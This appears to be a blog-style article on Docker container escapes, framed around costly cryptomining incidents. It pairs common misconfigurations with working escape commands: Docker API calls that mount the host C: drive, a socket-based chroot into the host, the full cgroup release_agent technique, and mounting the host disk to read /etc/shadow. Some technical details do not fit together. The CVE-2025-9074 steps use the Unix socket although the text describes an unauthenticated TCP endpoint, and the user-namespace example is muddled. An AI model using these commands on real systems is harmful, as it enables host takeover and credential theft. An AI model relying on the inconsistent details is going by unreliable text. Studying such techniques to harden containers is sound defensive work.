March 2024. Tuesday morning. Coffee in hand. Got paged because our AWS bill hit $47K overnight instead of the usual $2K. Turned out a container in our staging environment was running privileged mode for "debugging purposes" and got compromised through an exposed Redis instance. The attacker escaped the container and deployed Monero miners across 200+ EC2 instances.
Here's what actually happens when containers break out:
The "Holy Shit" Moment: CVE-2025-9074 (Two Days Ago)
CVE-2025-9074 hit Docker Desktop with a critical 9.3 CVSS score. Docker Desktop users running malicious containers can now access the host through an unauthenticated API endpoint at http://192.168.65.7:2375/. Two HTTP POST requests with curl, and you own the Windows host. That's it. No special privileges required inside the container. Security researchers at LinuxSecurity confirmed this bypass affects all major Windows installations running Docker Desktop.
## From inside ANY container on Docker Desktop:
## Step 1: Create container with host filesystem access
curl -H "Content-Type: application/json" \
--unix-socket /var/run/docker.sock \
-d '{"Image":"alpine","Cmd":["sh"],"HostConfig":{"Binds":["C:\:/host"]}}' \
-X POST /v1.40/containers/create
## Step 2: Start the malicious container
curl --unix-socket /var/run/docker.sock \
-X POST /v1.40/containers/{container_id}/start
That's a fucking container escape. From zero privileges to mounting the entire C: drive.
Runtime Socket Escapes (The Classic)
Every fucking team does this. Mount the Docker socket "for monitoring" or "for CI/CD" and wonder why containers can create new privileged containers. OWASP Container Security lists this as the #1 misconfiguration, and CIS Docker Benchmark specifically warns against socket mounting in production. Container security researchers consistently identify socket mounting as the most common attack vector.
The mistake:
docker run -v /var/run/docker.sock:/var/run/docker.sock myapp
The exploit: Any process inside that container can now create new containers with host filesystem access:
## Inside the container:
docker run -it -v /:/host alpine chroot /host /bin/bash
Real incident: Last year, a developer mounted the Docker socket for a CI container. An npm dependency got compromised and downloaded a script that created 50 privileged containers mining cryptocurrency. Detected it after $18K in compute charges.
Privileged Container Breakouts
Containers running with --privileged flag have full access to all device files and can disable security mechanisms. Docker's security documentation explicitly warns against privileged mode in production. NIST SP 800-190 identifies privileged containers as a critical security risk, and Kubernetes security best practices recommend blocking privileged access through Pod Security Standards. Security research by Aqua demonstrates multiple escape vectors specific to privileged containers.
The mistake:
docker run --privileged myapp
The exploit - cgroup release_agent escape:
## Create cgroup and enable release_agent trigger
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
echo 1 > /tmp/cgrp/notify_on_release
## Get host path from container perspective
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
## Set release_agent to run command on host
echo "$host_path/cmd" > /tmp/cgrp/release_agent
## Create exploit payload
echo '#!/bin/sh' > /cmd
echo 'ps aux > $host_path/output' >> /cmd
chmod a+x /cmd
## Trigger the release_agent (runs on host as root)
sh -c "echo \$\$ > /tmp/cgrp/cgroup.procs"
Real cost: Production container got root shell on host through this exact technique. Attacker installed persistent backdoor that survived container restarts for 3 months before we caught it.
User Namespace Remapping Failures
Most people think user namespaces solve everything. They're wrong. Linux kernel documentation details namespace isolation mechanisms, but container security analysis by IBM shows common remapping failures lead to privilege escalation.
The config that seems secure:
{
"userns-remap": "default"
}
The reality: If you mount host directories with the same UID/GID, you're fucked:
docker run -v /etc:/host-etc alpine
## Now container root == host UID 100000, but mounted files keep original ownership
ls -la /host-etc/shadow # Still owned by host root (UID 0), not container root
The bypass: Create a container with UID 0 mapping and you can modify host files through mounted volumes.
Capability-Based Escapes
Docker drops dangerous capabilities by default, but many apps need specific ones restored. Problem: even "safe" capabilities can be chained for escapes.
The example: CAP_SYS_ADMIN seems necessary for your app, right?
docker run --cap-add SYS_ADMIN myapp
The exploit: CAP_SYS_ADMIN allows mounting filesystems:
## Mount host root filesystem
mkdir /tmp/host
mount /dev/sda1 /tmp/host
## Now access host files
cat /tmp/host/etc/shadow
Real vulnerability hunting: CVE-2019-5736 allowed container escape through runC exploitation. CVE-2022-0185 was a Linux kernel flaw that let containers write to arbitrary host filesystem locations.
Host Device Access
Mounting host devices gives containers direct hardware access, bypassing containerization entirely.
The configuration:
docker run -v /dev:/dev myapp # "For hardware access"
The result: Container can now write directly to host disk, modify boot sectors, access raw memory, etc.
procfs and sysfs Information Leaks
These seem harmless but leak critical host information:
## Host kernel version, running processes
cat /proc/version
ps aux # Shows ALL host processes in privileged containers
## Network interfaces, routing tables
cat /proc/net/route
## Host filesystem mounts
cat /proc/mounts
## Hardware information
ls /sys/class/net/ # Host network interfaces
Attack chain: Information gathering → privilege escalation → container escape
These aren't theoretical. These are the exact techniques used in real attacks against production systems. Every single one has cost companies thousands in AWS bills, incident response, and reputation damage.
